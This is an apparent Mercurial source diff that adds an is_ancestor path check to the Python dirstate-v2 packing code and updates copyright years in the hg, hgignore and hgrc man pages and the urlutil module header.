102 _descendants_with_entry_count,
102 _descendants_with_entry_count,
103 _tracked_descendants_count,
103 _tracked_descendants_count,
104 flags,
104 flags,
105 size,
105 size,
106 mtime_s,
106 mtime_s,
107 mtime_ns,
107 mtime_ns,
108 ) = NODE.unpack(node_bytes)
108 ) = NODE.unpack(node_bytes)
109
109
110 # Parse child nodes of this node recursively
110 # Parse child nodes of this node recursively
111 parse_nodes(map, copy_map, data, children_start, children_count)
111 parse_nodes(map, copy_map, data, children_start, children_count)
112
112
113 item = parsers.DirstateItem.from_v2_data(flags, size, mtime_s, mtime_ns)
113 item = parsers.DirstateItem.from_v2_data(flags, size, mtime_s, mtime_ns)
114 if not item.any_tracked:
114 if not item.any_tracked:
115 continue
115 continue
116 path = slice_with_len(data, path_start, path_len)
116 path = slice_with_len(data, path_start, path_len)
117 map[path] = item
117 map[path] = item
118 if copy_source_start:
118 if copy_source_start:
119 copy_map[path] = slice_with_len(
119 copy_map[path] = slice_with_len(
120 data, copy_source_start, copy_source_len
120 data, copy_source_start, copy_source_len
121 )
121 )
122
122
123
123
124 def slice_with_len(data, start, len):
124 def slice_with_len(data, start, len):
125 return data[start : start + len]
125 return data[start : start + len]
126
126
127
127
128 @attr.s
128 @attr.s
129 class Node(object):
129 class Node(object):
130 path = attr.ib()
130 path = attr.ib()
131 entry = attr.ib()
131 entry = attr.ib()
132 parent = attr.ib(default=None)
132 parent = attr.ib(default=None)
133 children_count = attr.ib(default=0)
133 children_count = attr.ib(default=0)
134 children_offset = attr.ib(default=0)
134 children_offset = attr.ib(default=0)
135 descendants_with_entry = attr.ib(default=0)
135 descendants_with_entry = attr.ib(default=0)
136 tracked_descendants = attr.ib(default=0)
136 tracked_descendants = attr.ib(default=0)
137
137
138 def pack(self, copy_map, paths_offset):
138 def pack(self, copy_map, paths_offset):
139 path = self.path
139 path = self.path
140 copy = copy_map.get(path)
140 copy = copy_map.get(path)
141 entry = self.entry
141 entry = self.entry
142
142
143 path_start = paths_offset
143 path_start = paths_offset
144 path_len = len(path)
144 path_len = len(path)
145 basename_start = path.rfind(b'/') + 1 # 0 if rfind returns -1
145 basename_start = path.rfind(b'/') + 1 # 0 if rfind returns -1
146 if copy is not None:
146 if copy is not None:
147 copy_source_start = paths_offset + len(path)
147 copy_source_start = paths_offset + len(path)
148 copy_source_len = len(copy)
148 copy_source_len = len(copy)
149 else:
149 else:
150 copy_source_start = 0
150 copy_source_start = 0
151 copy_source_len = 0
151 copy_source_len = 0
152 if entry is not None:
152 if entry is not None:
153 flags, size, mtime_s, mtime_ns = entry.v2_data()
153 flags, size, mtime_s, mtime_ns = entry.v2_data()
154 else:
154 else:
155 # There are no mtime-cached directories in the Python implementation
155 # There are no mtime-cached directories in the Python implementation
156 flags = DIRSTATE_V2_DIRECTORY
156 flags = DIRSTATE_V2_DIRECTORY
157 size = 0
157 size = 0
158 mtime_s = 0
158 mtime_s = 0
159 mtime_ns = 0
159 mtime_ns = 0
160 return NODE.pack(
160 return NODE.pack(
161 path_start,
161 path_start,
162 path_len,
162 path_len,
163 basename_start,
163 basename_start,
164 copy_source_start,
164 copy_source_start,
165 copy_source_len,
165 copy_source_len,
166 self.children_offset,
166 self.children_offset,
167 self.children_count,
167 self.children_count,
168 self.descendants_with_entry,
168 self.descendants_with_entry,
169 self.tracked_descendants,
169 self.tracked_descendants,
170 flags,
170 flags,
171 size,
171 size,
172 mtime_s,
172 mtime_s,
173 mtime_ns,
173 mtime_ns,
174 )
174 )
175
175
176
176
177 def pack_dirstate(map, copy_map):
177 def pack_dirstate(map, copy_map):
178 """
178 """
179 Pack `map` and `copy_map` into the dirstate v2 binary format and return
179 Pack `map` and `copy_map` into the dirstate v2 binary format and return
180 the bytearray.
180 the bytearray.
181
181
182 The on-disk format expects a tree-like structure where the leaves are
182 The on-disk format expects a tree-like structure where the leaves are
183 written first (and sorted per-directory), going up levels until the root
183 written first (and sorted per-directory), going up levels until the root
184 node and writing that one to the docket. See more details on the on-disk
184 node and writing that one to the docket. See more details on the on-disk
185 format in `mercurial/helptext/internals/dirstate-v2`.
185 format in `mercurial/helptext/internals/dirstate-v2`.
186
186
187 Since both `map` and `copy_map` are flat dicts we need to figure out the
187 Since both `map` and `copy_map` are flat dicts we need to figure out the
188 hierarchy. This algorithm does so without having to build the entire tree
188 hierarchy. This algorithm does so without having to build the entire tree
189 in-memory: it only keeps the minimum number of nodes around to satisfy the
189 in-memory: it only keeps the minimum number of nodes around to satisfy the
190 format.
190 format.
191
191
192 # Algorithm explanation
192 # Algorithm explanation
193
193
194 This explanation does not talk about the different counters for tracked
194 This explanation does not talk about the different counters for tracked
195 descendents and storing the copies, but that work is pretty simple once this
195 descendents and storing the copies, but that work is pretty simple once this
196 algorithm is in place.
196 algorithm is in place.
197
197
198 ## Building a subtree
198 ## Building a subtree
199
199
200 First, sort `map`: this makes it so the leaves of the tree are contiguous
200 First, sort `map`: this makes it so the leaves of the tree are contiguous
201 per directory (i.e. a/b/c and a/b/d will be next to each other in the list),
201 per directory (i.e. a/b/c and a/b/d will be next to each other in the list),
202 and enables us to use the ordering of folders to have a "cursor" of the
202 and enables us to use the ordering of folders to have a "cursor" of the
203 current folder we're in without ever going twice in the same branch of the
203 current folder we're in without ever going twice in the same branch of the
204 tree. The cursor is a node that remembers its parent and any information
204 tree. The cursor is a node that remembers its parent and any information
205 relevant to the format (see the `Node` class), building the relevant part
205 relevant to the format (see the `Node` class), building the relevant part
206 of the tree lazily.
206 of the tree lazily.
207 Then, for each file in `map`, move the cursor into the tree to the
207 Then, for each file in `map`, move the cursor into the tree to the
208 corresponding folder of the file: for example, if the very first file
208 corresponding folder of the file: for example, if the very first file
209 is "a/b/c", we start from `Node[""]`, create `Node["a"]` which points to
209 is "a/b/c", we start from `Node[""]`, create `Node["a"]` which points to
210 its parent `Node[""]`, then create `Node["a/b"]`, which points to its parent
210 its parent `Node[""]`, then create `Node["a/b"]`, which points to its parent
211 `Node["a"]`. These nodes are kept around in a stack.
211 `Node["a"]`. These nodes are kept around in a stack.
212 If the next file in `map` is in the same subtree ("a/b/d" or "a/b/e/f"), we
212 If the next file in `map` is in the same subtree ("a/b/d" or "a/b/e/f"), we
213 add it to the stack and keep looping with the same logic of creating the
213 add it to the stack and keep looping with the same logic of creating the
214 tree nodes as needed. If however the next file in `map` is *not* in the same
214 tree nodes as needed. If however the next file in `map` is *not* in the same
215 subtree ("a/other", if we're still in the "a/b" folder), then we know that
215 subtree ("a/other", if we're still in the "a/b" folder), then we know that
216 the subtree we're in is complete.
216 the subtree we're in is complete.
217
217
218 ## Writing the subtree
218 ## Writing the subtree
219
219
220 We have the entire subtree in the stack, so we start writing it to disk
220 We have the entire subtree in the stack, so we start writing it to disk
221 folder by folder. The way we write a folder is to pop the stack into a list
221 folder by folder. The way we write a folder is to pop the stack into a list
222 until the folder changes, revert this list of direct children (to satisfy
222 until the folder changes, revert this list of direct children (to satisfy
223 the format requirement that children be sorted). This process repeats until
223 the format requirement that children be sorted). This process repeats until
224 we hit the "other" subtree.
224 we hit the "other" subtree.
225
225
226 An example:
226 An example:
227 a
227 a
228 dir1/b
228 dir1/b
229 dir1/c
229 dir1/c
230 dir2/dir3/d
230 dir2/dir3/d
231 dir2/dir3/e
231 dir2/dir3/e
232 dir2/f
232 dir2/f
233
233
234 Would have us:
234 Would have us:
235 - add to the stack until "dir2/dir3/e"
235 - add to the stack until "dir2/dir3/e"
236 - realize that "dir2/f" is in a different subtree
236 - realize that "dir2/f" is in a different subtree
237 - pop "dir2/dir3/e", "dir2/dir3/d", reverse them so they're sorted and
237 - pop "dir2/dir3/e", "dir2/dir3/d", reverse them so they're sorted and
238 pack them since the next entry is "dir2/dir3"
238 pack them since the next entry is "dir2/dir3"
239 - go back up to "dir2"
239 - go back up to "dir2"
240 - add "dir2/f" to the stack
240 - add "dir2/f" to the stack
241 - realize we're done with the map
241 - realize we're done with the map
242 - pop "dir2/f", "dir2/dir3" from the stack, reverse and pack them
242 - pop "dir2/f", "dir2/dir3" from the stack, reverse and pack them
243 - go up to the root node, do the same to write "a", "dir1" and "dir2" in
243 - go up to the root node, do the same to write "a", "dir1" and "dir2" in
244 that order
244 that order
245
245
246 ## Special case for the root node
246 ## Special case for the root node
247
247
248 The root node is not serialized in the format, but its information is
248 The root node is not serialized in the format, but its information is
249 written to the docket. Again, see more details on the on-disk format in
249 written to the docket. Again, see more details on the on-disk format in
250 `mercurial/helptext/internals/dirstate-v2`.
250 `mercurial/helptext/internals/dirstate-v2`.
251 """
251 """
252 data = bytearray()
252 data = bytearray()
253 root_nodes_start = 0
253 root_nodes_start = 0
254 root_nodes_len = 0
254 root_nodes_len = 0
255 nodes_with_entry_count = 0
255 nodes_with_entry_count = 0
256 nodes_with_copy_source_count = 0
256 nodes_with_copy_source_count = 0
257 # Will always be 0 since this implementation always re-writes everything
257 # Will always be 0 since this implementation always re-writes everything
258 # to disk
258 # to disk
259 unreachable_bytes = 0
259 unreachable_bytes = 0
260 unused = b'\x00' * 4
260 unused = b'\x00' * 4
261 # This is an optimization that's only useful for the Rust implementation
261 # This is an optimization that's only useful for the Rust implementation
262 ignore_patterns_hash = b'\x00' * 20
262 ignore_patterns_hash = b'\x00' * 20
263
263
264 if len(map) == 0:
264 if len(map) == 0:
265 tree_metadata = TREE_METADATA.pack(
265 tree_metadata = TREE_METADATA.pack(
266 root_nodes_start,
266 root_nodes_start,
267 root_nodes_len,
267 root_nodes_len,
268 nodes_with_entry_count,
268 nodes_with_entry_count,
269 nodes_with_copy_source_count,
269 nodes_with_copy_source_count,
270 unreachable_bytes,
270 unreachable_bytes,
271 unused,
271 unused,
272 ignore_patterns_hash,
272 ignore_patterns_hash,
273 )
273 )
274 return data, tree_metadata
274 return data, tree_metadata
275
275
276 sorted_map = sorted(map.items(), key=lambda x: x[0])
276 sorted_map = sorted(map.items(), key=lambda x: x[0])
277
277
278 # Use a stack to not have to only remember the nodes we currently need
278 # Use a stack to not have to only remember the nodes we currently need
279 # instead of building the entire tree in memory
279 # instead of building the entire tree in memory
280 stack = []
280 stack = []
281 current_node = Node(b"", None)
281 current_node = Node(b"", None)
282 stack.append(current_node)
282 stack.append(current_node)
283
283
284 for index, (path, entry) in enumerate(sorted_map, 1):
284 for index, (path, entry) in enumerate(sorted_map, 1):
285 nodes_with_entry_count += 1
285 nodes_with_entry_count += 1
286 if path in copy_map:
286 if path in copy_map:
287 nodes_with_copy_source_count += 1
287 nodes_with_copy_source_count += 1
288 current_folder = get_folder(path)
288 current_folder = get_folder(path)
289 current_node = move_to_correct_node_in_tree(
289 current_node = move_to_correct_node_in_tree(
290 current_folder, current_node, stack
290 current_folder, current_node, stack
291 )
291 )
292
292
293 current_node.children_count += 1
293 current_node.children_count += 1
294 # Entries from `map` are never `None`
294 # Entries from `map` are never `None`
295 if entry.tracked:
295 if entry.tracked:
296 current_node.tracked_descendants += 1
296 current_node.tracked_descendants += 1
297 current_node.descendants_with_entry += 1
297 current_node.descendants_with_entry += 1
298 stack.append(Node(path, entry, current_node))
298 stack.append(Node(path, entry, current_node))
299
299
300 should_pack = True
300 should_pack = True
301 next_path = None
301 next_path = None
302 if index < len(sorted_map):
302 if index < len(sorted_map):
303 # Determine if the next entry is in the same sub-tree, if so don't
303 # Determine if the next entry is in the same sub-tree, if so don't
304 # pack yet
304 # pack yet
305 next_path = sorted_map[index][0]
305 next_path = sorted_map[index][0]
306 should_pack = not get_folder(next_path).startswith(current_folder)
306 should_pack = not is_ancestor(next_path, current_folder)
307 if should_pack:
307 if should_pack:
308 pack_directory_children(current_node, copy_map, data, stack)
308 pack_directory_children(current_node, copy_map, data, stack)
309 while stack and current_node.path != b"":
309 while stack and current_node.path != b"":
310 # Go up the tree and write until we reach the folder of the next
310 # Go up the tree and write until we reach the folder of the next
311 # entry (if any, otherwise the root)
311 # entry (if any, otherwise the root)
312 parent = current_node.parent
312 parent = current_node.parent
313 in_parent_folder_of_next_entry = next_path is not None and (
313 in_ancestor_of_next_path = next_path is not None and (
314 get_folder(next_path).startswith(get_folder(stack[-1].path))
314 is_ancestor(next_path, get_folder(stack[-1].path))
315 )
315 )
316 if parent is None or in_parent_folder_of_next_entry:
316 if parent is None or in_ancestor_of_next_path:
317 break
317 break
318 pack_directory_children(parent, copy_map, data, stack)
318 pack_directory_children(parent, copy_map, data, stack)
319 current_node = parent
319 current_node = parent
320
320
321 # Special case for the root node since we don't write it to disk, only its
321 # Special case for the root node since we don't write it to disk, only its
322 # children to the docket
322 # children to the docket
323 current_node = stack.pop()
323 current_node = stack.pop()
324 assert current_node.path == b"", current_node.path
324 assert current_node.path == b"", current_node.path
325 assert len(stack) == 0, len(stack)
325 assert len(stack) == 0, len(stack)
326
326
327 tree_metadata = TREE_METADATA.pack(
327 tree_metadata = TREE_METADATA.pack(
328 current_node.children_offset,
328 current_node.children_offset,
329 current_node.children_count,
329 current_node.children_count,
330 nodes_with_entry_count,
330 nodes_with_entry_count,
331 nodes_with_copy_source_count,
331 nodes_with_copy_source_count,
332 unreachable_bytes,
332 unreachable_bytes,
333 unused,
333 unused,
334 ignore_patterns_hash,
334 ignore_patterns_hash,
335 )
335 )
336
336
337 return data, tree_metadata
337 return data, tree_metadata
338
338
339
339
340 def get_folder(path):
340 def get_folder(path):
341 """
341 """
342 Return the folder of the path that's given, an empty string for root paths.
342 Return the folder of the path that's given, an empty string for root paths.
343 """
343 """
344 return path.rsplit(b'/', 1)[0] if b'/' in path else b''
344 return path.rsplit(b'/', 1)[0] if b'/' in path else b''
345
345
346
346
347 def is_ancestor(path, maybe_ancestor):
348 """Returns whether `maybe_ancestor` is an ancestor of `path`.
349
350 >>> is_ancestor(b"a", b"")
351 True
352 >>> is_ancestor(b"a/b/c", b"a/b/c")
353 False
354 >>> is_ancestor(b"hgext3rd/__init__.py", b"hgext")
355 False
356 >>> is_ancestor(b"hgext3rd/__init__.py", b"hgext3rd")
357 True
358 """
359 if maybe_ancestor == b"":
360 return True
361 if path <= maybe_ancestor:
362 return False
363 path_components = path.split(b"/")
364 ancestor_components = maybe_ancestor.split(b"/")
365 return all(c == o for c, o in zip(path_components, ancestor_components))
366
367
347 def move_to_correct_node_in_tree(target_folder, current_node, stack):
368 def move_to_correct_node_in_tree(target_folder, current_node, stack):
348 """
369 """
349 Move inside the dirstate node tree to the node corresponding to
370 Move inside the dirstate node tree to the node corresponding to
350 `target_folder`, creating the missing nodes along the way if needed.
371 `target_folder`, creating the missing nodes along the way if needed.
351 """
372 """
352 while target_folder != current_node.path:
373 while target_folder != current_node.path:
353 if target_folder.startswith(current_node.path):
374 if is_ancestor(target_folder, current_node.path):
354 # We need to go down a folder
375 # We need to go down a folder
355 prefix = target_folder[len(current_node.path) :].lstrip(b'/')
376 prefix = target_folder[len(current_node.path) :].lstrip(b'/')
356 subfolder_name = prefix.split(b'/', 1)[0]
377 subfolder_name = prefix.split(b'/', 1)[0]
357 if current_node.path:
378 if current_node.path:
358 subfolder_path = current_node.path + b'/' + subfolder_name
379 subfolder_path = current_node.path + b'/' + subfolder_name
359 else:
380 else:
360 subfolder_path = subfolder_name
381 subfolder_path = subfolder_name
361 next_node = stack[-1]
382 next_node = stack[-1]
362 if next_node.path == target_folder:
383 if next_node.path == target_folder:
363 # This folder is now a file and only contains removed entries
384 # This folder is now a file and only contains removed entries
364 # merge with the last node
385 # merge with the last node
365 current_node = next_node
386 current_node = next_node
366 else:
387 else:
367 current_node.children_count += 1
388 current_node.children_count += 1
368 current_node = Node(subfolder_path, None, current_node)
389 current_node = Node(subfolder_path, None, current_node)
369 stack.append(current_node)
390 stack.append(current_node)
370 else:
391 else:
371 # We need to go up a folder
392 # We need to go up a folder
372 current_node = current_node.parent
393 current_node = current_node.parent
373 return current_node
394 return current_node
374
395
375
396
376 def pack_directory_children(node, copy_map, data, stack):
397 def pack_directory_children(node, copy_map, data, stack):
377 """
398 """
378 Write the binary representation of the direct sorted children of `node` to
399 Write the binary representation of the direct sorted children of `node` to
379 `data`
400 `data`
380 """
401 """
381 direct_children = []
402 direct_children = []
382
403
383 while stack[-1].path != b"" and get_folder(stack[-1].path) == node.path:
404 while stack[-1].path != b"" and get_folder(stack[-1].path) == node.path:
384 direct_children.append(stack.pop())
405 direct_children.append(stack.pop())
385 if not direct_children:
406 if not direct_children:
386 raise error.ProgrammingError(b"no direct children for %r" % node.path)
407 raise error.ProgrammingError(b"no direct children for %r" % node.path)
387
408
388 # Reverse the stack to get the correct sorted order
409 # Reverse the stack to get the correct sorted order
389 direct_children.reverse()
410 direct_children.reverse()
390 packed_children = bytearray()
411 packed_children = bytearray()
391 # Write the paths to `data`. Pack child nodes but don't write them yet
412 # Write the paths to `data`. Pack child nodes but don't write them yet
392 for child in direct_children:
413 for child in direct_children:
393 packed = child.pack(copy_map=copy_map, paths_offset=len(data))
414 packed = child.pack(copy_map=copy_map, paths_offset=len(data))
394 packed_children.extend(packed)
415 packed_children.extend(packed)
395 data.extend(child.path)
416 data.extend(child.path)
396 data.extend(copy_map.get(child.path, b""))
417 data.extend(copy_map.get(child.path, b""))
397 node.tracked_descendants += child.tracked_descendants
418 node.tracked_descendants += child.tracked_descendants
398 node.descendants_with_entry += child.descendants_with_entry
419 node.descendants_with_entry += child.descendants_with_entry
399 # Write the fixed-size child nodes all together
420 # Write the fixed-size child nodes all together
400 node.children_offset = len(data)
421 node.children_offset = len(data)
401 data.extend(packed_children)
422 data.extend(packed_children)
@@ -1,119 +1,119 b''
1 ====
1 ====
2 hg
2 hg
3 ====
3 ====
4
4
5 ---------------------------------------
5 ---------------------------------------
6 Mercurial source code management system
6 Mercurial source code management system
7 ---------------------------------------
7 ---------------------------------------
8
8
9 :Author: Olivia Mackall <olivia@selenic.com>
9 :Author: Olivia Mackall <olivia@selenic.com>
10 :Organization: Mercurial
10 :Organization: Mercurial
11 :Manual section: 1
11 :Manual section: 1
12 :Manual group: Mercurial Manual
12 :Manual group: Mercurial Manual
13
13
14 .. contents::
14 .. contents::
15 :backlinks: top
15 :backlinks: top
16 :class: htmlonly
16 :class: htmlonly
17 :depth: 1
17 :depth: 1
18
18
19
19
20 Synopsis
20 Synopsis
21 """"""""
21 """"""""
22 **hg** *command* [*option*]... [*argument*]...
22 **hg** *command* [*option*]... [*argument*]...
23
23
24 Description
24 Description
25 """""""""""
25 """""""""""
26 The **hg** command provides a command line interface to the Mercurial
26 The **hg** command provides a command line interface to the Mercurial
27 system.
27 system.
28
28
29 Command Elements
29 Command Elements
30 """"""""""""""""
30 """"""""""""""""
31
31
32 files...
32 files...
33 indicates one or more filename or relative path filenames; see
33 indicates one or more filename or relative path filenames; see
34 `File Name Patterns`_ for information on pattern matching
34 `File Name Patterns`_ for information on pattern matching
35
35
36 path
36 path
37 indicates a path on the local machine
37 indicates a path on the local machine
38
38
39 revision
39 revision
40 indicates a changeset which can be specified as a changeset
40 indicates a changeset which can be specified as a changeset
41 revision number, a tag, or a unique substring of the changeset
41 revision number, a tag, or a unique substring of the changeset
42 hash value
42 hash value
43
43
44 repository path
44 repository path
45 either the pathname of a local repository or the URI of a remote
45 either the pathname of a local repository or the URI of a remote
46 repository.
46 repository.
47
47
48 .. include:: hg.1.gendoc.txt
48 .. include:: hg.1.gendoc.txt
49
49
50 Files
50 Files
51 """""
51 """""
52
52
53 ``/etc/mercurial/hgrc``, ``$HOME/.hgrc``, ``.hg/hgrc``
53 ``/etc/mercurial/hgrc``, ``$HOME/.hgrc``, ``.hg/hgrc``
54 This file contains defaults and configuration. Values in
54 This file contains defaults and configuration. Values in
55 ``.hg/hgrc`` override those in ``$HOME/.hgrc``, and these override
55 ``.hg/hgrc`` override those in ``$HOME/.hgrc``, and these override
56 settings made in the global ``/etc/mercurial/hgrc`` configuration.
56 settings made in the global ``/etc/mercurial/hgrc`` configuration.
57 See |hgrc(5)|_ for details of the contents and format of these
57 See |hgrc(5)|_ for details of the contents and format of these
58 files.
58 files.
59
59
60 ``.hgignore``
60 ``.hgignore``
61 This file contains regular expressions (one per line) that
61 This file contains regular expressions (one per line) that
62 describe file names that should be ignored by **hg**. For details,
62 describe file names that should be ignored by **hg**. For details,
63 see |hgignore(5)|_.
63 see |hgignore(5)|_.
64
64
65 ``.hgsub``
65 ``.hgsub``
66 This file defines the locations of all subrepositories, and
66 This file defines the locations of all subrepositories, and
67 tells where the subrepository checkouts came from. For details, see
67 tells where the subrepository checkouts came from. For details, see
68 :hg:`help subrepos`.
68 :hg:`help subrepos`.
69
69
70 ``.hgsubstate``
70 ``.hgsubstate``
71 This file is where Mercurial stores all nested repository states. *NB: This
71 This file is where Mercurial stores all nested repository states. *NB: This
72 file should not be edited manually.*
72 file should not be edited manually.*
73
73
74 ``.hgtags``
74 ``.hgtags``
75 This file contains changeset hash values and text tag names (one
75 This file contains changeset hash values and text tag names (one
76 of each separated by spaces) that correspond to tagged versions of
76 of each separated by spaces) that correspond to tagged versions of
77 the repository contents. The file content is encoded using UTF-8.
77 the repository contents. The file content is encoded using UTF-8.
78
78
79 ``.hg/last-message.txt``
79 ``.hg/last-message.txt``
80 This file is used by :hg:`commit` to store a backup of the commit message
80 This file is used by :hg:`commit` to store a backup of the commit message
81 in case the commit fails.
81 in case the commit fails.
82
82
83 ``.hg/localtags``
83 ``.hg/localtags``
84 This file can be used to define local tags which are not shared among
84 This file can be used to define local tags which are not shared among
85 repositories. The file format is the same as for ``.hgtags``, but it is
85 repositories. The file format is the same as for ``.hgtags``, but it is
86 encoded using the local system encoding.
86 encoded using the local system encoding.
87
87
88 Some commands (e.g. revert) produce backup files ending in ``.orig``,
88 Some commands (e.g. revert) produce backup files ending in ``.orig``,
89 if the ``.orig`` file already exists and is not tracked by Mercurial,
89 if the ``.orig`` file already exists and is not tracked by Mercurial,
90 it will be overwritten.
90 it will be overwritten.
91
91
92 Bugs
92 Bugs
93 """"
93 """"
94 Probably lots, please post them to the mailing list (see Resources_
94 Probably lots, please post them to the mailing list (see Resources_
95 below) when you find them.
95 below) when you find them.
96
96
97 See Also
97 See Also
98 """"""""
98 """"""""
99 |hgignore(5)|_, |hgrc(5)|_
99 |hgignore(5)|_, |hgrc(5)|_
100
100
101 Author
101 Author
102 """"""
102 """"""
103 Written by Olivia Mackall <olivia@selenic.com>
103 Written by Olivia Mackall <olivia@selenic.com>
104
104
105 Resources
105 Resources
106 """""""""
106 """""""""
107 Main Web Site: https://mercurial-scm.org/
107 Main Web Site: https://mercurial-scm.org/
108
108
109 Source code repository: https://www.mercurial-scm.org/repo/hg
109 Source code repository: https://www.mercurial-scm.org/repo/hg
110
110
111 Mailing list: https://www.mercurial-scm.org/mailman/listinfo/mercurial/
111 Mailing list: https://www.mercurial-scm.org/mailman/listinfo/mercurial/
112
112
113 Copying
113 Copying
114 """""""
114 """""""
115 Copyright (C) 2005-2021 Olivia Mackall.
115 Copyright (C) 2005-2022 Olivia Mackall.
116 Free use of this software is granted under the terms of the GNU General
116 Free use of this software is granted under the terms of the GNU General
117 Public License version 2 or any later version.
117 Public License version 2 or any later version.
118
118
119 .. include:: common.txt
119 .. include:: common.txt
@@ -1,34 +1,34 b''
1 ==========
1 ==========
2 hgignore
2 hgignore
3 ==========
3 ==========
4
4
5 ---------------------------------
5 ---------------------------------
6 syntax for Mercurial ignore files
6 syntax for Mercurial ignore files
7 ---------------------------------
7 ---------------------------------
8
8
9 :Author: Vadim Gelfer <vadim.gelfer@gmail.com>
9 :Author: Vadim Gelfer <vadim.gelfer@gmail.com>
10 :Organization: Mercurial
10 :Organization: Mercurial
11 :Manual section: 5
11 :Manual section: 5
12 :Manual group: Mercurial Manual
12 :Manual group: Mercurial Manual
13
13
14 .. include:: hgignore.5.gendoc.txt
14 .. include:: hgignore.5.gendoc.txt
15
15
16 Author
16 Author
17 ======
17 ======
18 Vadim Gelfer <vadim.gelfer@gmail.com>
18 Vadim Gelfer <vadim.gelfer@gmail.com>
19
19
20 Mercurial was written by Olivia Mackall <olivia@selenic.com>.
20 Mercurial was written by Olivia Mackall <olivia@selenic.com>.
21
21
22 See Also
22 See Also
23 ========
23 ========
24 |hg(1)|_, |hgrc(5)|_
24 |hg(1)|_, |hgrc(5)|_
25
25
26 Copying
26 Copying
27 =======
27 =======
28 This manual page is copyright 2006 Vadim Gelfer.
28 This manual page is copyright 2006 Vadim Gelfer.
29 Mercurial is copyright 2005-2021 Olivia Mackall.
29 Mercurial is copyright 2005-2022 Olivia Mackall.
30 Free use of this software is granted under the terms of the GNU General
30 Free use of this software is granted under the terms of the GNU General
31 Public License version 2 or any later version.
31 Public License version 2 or any later version.
32
32
33 .. include:: common.txt
33 .. include:: common.txt
34
34
@@ -1,41 +1,41 b''
1 ======
1 ======
2 hgrc
2 hgrc
3 ======
3 ======
4
4
5 ---------------------------------
5 ---------------------------------
6 configuration files for Mercurial
6 configuration files for Mercurial
7 ---------------------------------
7 ---------------------------------
8
8
9 :Author: Bryan O'Sullivan <bos@serpentine.com>
9 :Author: Bryan O'Sullivan <bos@serpentine.com>
10 :Organization: Mercurial
10 :Organization: Mercurial
11 :Manual section: 5
11 :Manual section: 5
12 :Manual group: Mercurial Manual
12 :Manual group: Mercurial Manual
13
13
14 .. contents::
14 .. contents::
15 :backlinks: top
15 :backlinks: top
16 :class: htmlonly
16 :class: htmlonly
17
17
18
18
19 Description
19 Description
20 ===========
20 ===========
21
21
22 .. include:: hgrc.5.gendoc.txt
22 .. include:: hgrc.5.gendoc.txt
23
23
24 Author
24 Author
25 ======
25 ======
26 Bryan O'Sullivan <bos@serpentine.com>.
26 Bryan O'Sullivan <bos@serpentine.com>.
27
27
28 Mercurial was written by Olivia Mackall <olivia@selenic.com>.
28 Mercurial was written by Olivia Mackall <olivia@selenic.com>.
29
29
30 See Also
30 See Also
31 ========
31 ========
32 |hg(1)|_, |hgignore(5)|_
32 |hg(1)|_, |hgignore(5)|_
33
33
34 Copying
34 Copying
35 =======
35 =======
36 This manual page is copyright 2005 Bryan O'Sullivan.
36 This manual page is copyright 2005 Bryan O'Sullivan.
37 Mercurial is copyright 2005-2021 Olivia Mackall.
37 Mercurial is copyright 2005-2022 Olivia Mackall.
38 Free use of this software is granted under the terms of the GNU General
38 Free use of this software is granted under the terms of the GNU General
39 Public License version 2 or any later version.
39 Public License version 2 or any later version.
40
40
41 .. include:: common.txt
41 .. include:: common.txt
@@ -1,952 +1,952 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27
27
28 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
29 from typing import (
29 from typing import (
30 Union,
30 Union,
31 )
31 )
32
32
33 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
34
34
35
35
36 def getport(port):
36 def getport(port):
37 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
38 """Return the port for a given network service.
39
39
40 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
42 service, error.Abort is raised.
43 """
43 """
44 try:
44 try:
45 return int(port)
45 return int(port)
46 except ValueError:
46 except ValueError:
47 pass
47 pass
48
48
49 try:
49 try:
50 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
51 except socket.error:
52 raise error.Abort(
52 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
54 )
54 )
55
55
56
56
57 class url(object):
57 class url(object):
58 r"""Reliable URL parser.
58 r"""Reliable URL parser.
59
59
60 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
61 components:
61 components:
62
62
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
64
65 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
67
67
68 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
71
71
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
73
74 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
76
76
77 Examples:
77 Examples:
78
78
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
